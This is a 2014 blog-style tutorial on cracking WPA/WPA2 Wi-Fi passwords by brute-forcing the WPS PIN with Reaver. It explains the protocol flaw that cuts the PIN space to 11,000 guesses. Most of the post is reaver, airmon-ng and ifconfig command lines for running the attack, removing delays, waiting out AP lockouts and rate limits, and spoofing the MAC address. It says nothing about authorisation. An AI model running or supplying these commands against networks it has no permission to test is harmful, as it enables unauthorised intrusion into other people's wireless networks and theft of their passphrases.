Wednesday, March 19, 2014

Cracking Wifi WPA/WPA2 passwords using Reaver-WPS

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                                     Brute force attack against Wifi Protected Setup


Reaver-wps performs a brute force attack against an access point’s WiFi Protected Setup pin number. Once the WPS pin is found, the WPA PSK can be recovered and alternately the AP’s wireless settings can be reconfigured.
While Reaver-wps does not support reconfiguring the AP, this can be accomplished with wpa_supplicant once the WPS pin is known.


Reaver-wps targets the external registrar functionality mandated by the WiFi Protected Setup specification. Access points will provide authenticated registrars with their current wireless configuration (including the WPA PSK), and also accept a new configuration from the registrar.
In order to authenticate as a registrar, the registrar must prove its knowledge of the AP’s 8-digit pin number. Registrars may authenticate themselves to an AP at any time without any user interaction. Because the WPS protocol is conducted over EAP, the registrar need only be associated with the AP and does not need any prior knowledge of the wireless encryption or configuration.
Reaver-wps performs a brute force attack against the AP, attempting every possible combination in order to guess the AP’s 8 digit pin number. Since the pin numbers are all numeric, there are 10^8 (100,000,000) possible values for any given pin number. However, because the last digit of the pin is a checksum value which can be calculated based on the previous 7 digits, that key space is reduced to 10^7 (10,000,000) possible values.
The key space is reduced even further due to the fact that the WPS authentication protocol cuts the pin in half and validates each half individually. That means that there are 10^4 (10,000) possible values for the first half of the pin and 10^3 (1,000) possible values for the second half of the pin, with the last digit of the pin being a checksum.
Reaver-wps brute forces the first half of the pin and then the second half of the pin, meaning that the entire key space for the WPS pin number can be exhausted in 11,000 attempts. The speed at which Reaver can test pin numbers is entirely limited by the speed at which the AP can process WPS requests. Some APs are fast enough that one pin can be tested every second; others are slower and only allow one pin every ten seconds. Statistically, it will only take half of that time in order to guess the correct pin number.


Install Kali Linux, everything built into it. (Reaver-wps, libpcap and libsqlite3)


Usually, the only required arguments to Reaver-wps are the interface name and the BSSID of the target AP:
# reaver -i mon0 -b 00:01:02:03:04:05
The channel and SSID (provided that the SSID is not cloaked) of the target AP will be automatically identified by Reaver-wps, unless explicitly specified on the command line:
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
By default, if the AP switches channels, Reaver-wps will also change its channel accordingly. However, this feature may be disabled by fixing the interface’s channel:
# reaver -i mon0 -b 00:01:02:03:04:05 --fixed
The default receive timeout period is 5 seconds. This timeout period can be set manually if necessary (minimum timeout period is 1 second):
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2
The default delay period between pin attempts is 1 second. This value can be increased or decreased to any non-negative integer value. A value of zero means no delay:
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0
Some APs will temporarily lock their WPS state, typically for five minutes or less, when “suspicious” activity is detected. By default when a locked state is detected, Reaver-wps will check the state every 315 seconds (5 minutes and 15 seconds) and not continue brute forcing pins until the WPS state is unlocked. This check can be increased or decreased to any non-negative integer value:
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
For additional output, the verbose option may be provided. Providing the verbose option twice will increase verbosity and display each pin number as it is attempted:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv
The default timeout period for receiving the M5 and M7 WPS response messages is .1 seconds. This timeout period can be set manually if necessary (max timeout period is 1 second):
# reaver -i mon0 -b 00:01:02:03:04:05 -T .5
Some poor WPS implementations will drop a connection on the floor when an invalid pin is supplied instead of responding with a NACK message as the specs dictate. To account for this, if an M5/M7 timeout is reached, it is treated the same as a NACK by default. However, if it is known that the target AP sends NACKS (most do), this feature can be disabled to ensure better reliability. This option is largely useless as Reaver-wps will auto-detect if an AP properly responds with NACKs or not:
# reaver -i mon0 -b 00:01:02:03:04:05 --nack
While most APs don’t care, sending an EAP FAIL message to close out a WPS session is sometimes necessary. By default this feature is disabled, but can be enabled for those APs that need it:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
When 10 consecutive unexpected WPS errors are encountered, a warning message will be displayed. Since this may be a sign that the AP is rate limiting pin attempts or simply being overloaded, a sleep can be put in place that will occur whenever these warning messages appear:
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360

More on Basic Usages

First, make sure your wireless card is in monitor mode:
# airmon-ng start wlan0
To run Reaver, you must specify the BSSID of the target AP and the name of the monitor mode interface (usually ‘mon0′, not ‘wlan0′, although this will vary based on your wireless card/drivers):
# reaver -i mon0 -b 00:01:02:03:04:05
You will probably also want to use -vv to get verbose info about Reaver’s progress:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv

Speeding Up the Attack

By default, Reaver-wps has a 1 second delay between pin attempts. You can disable this delay by adding ‘-d 0′ on the command line, but some APs may not like it:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0
Another option that can speed up an attack is –dh-small. This option instructs Reaver to use small diffie-hellman secret numbers in order to reduce the computational load on the target AP:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small

MAC Spoofing

In some cases you may want/need to spoof your MAC address. Reaver supports MAC spoofing with the –mac option, but you must ensure that you have spoofed your MAC correctly in order for it to work.
Changing the MAC address of the virtual monitor mode interface (typically named mon0) WILL NOT WORK. You must change the MAC address of your wireless card’s physical interface. For example:
# ifconfig wlan0 down
 # ifconfig wlan0 hw ether 00:BA:AD:BE:EF:69
 # ifconfig wlan0 up
 # airmon-ng start wlan0
 # reaver -i mon0 -b 00:01:02:03:04:05 -vv --mac=00:BA:AD:BE:EF:69
Supported Wireless Drivers
The following wireless drivers have been tested or reported to work successfully with Reaver-wps:

Partially Supported

The following wireless drivers have had mixed success, and may or may not work depending on your wireless card (i.e., if you are having problems with these drivers/cards, consider trying a new card before submitting a trouble ticket):
 rtl2800usb (using the latest compat-wireless drivers has
 b43         fixed many user's problems, hint hint...)

Not Supported

The following wireless drivers/cards have been tested or reported to not work properly with Reaver:
 Netgear WG111v3

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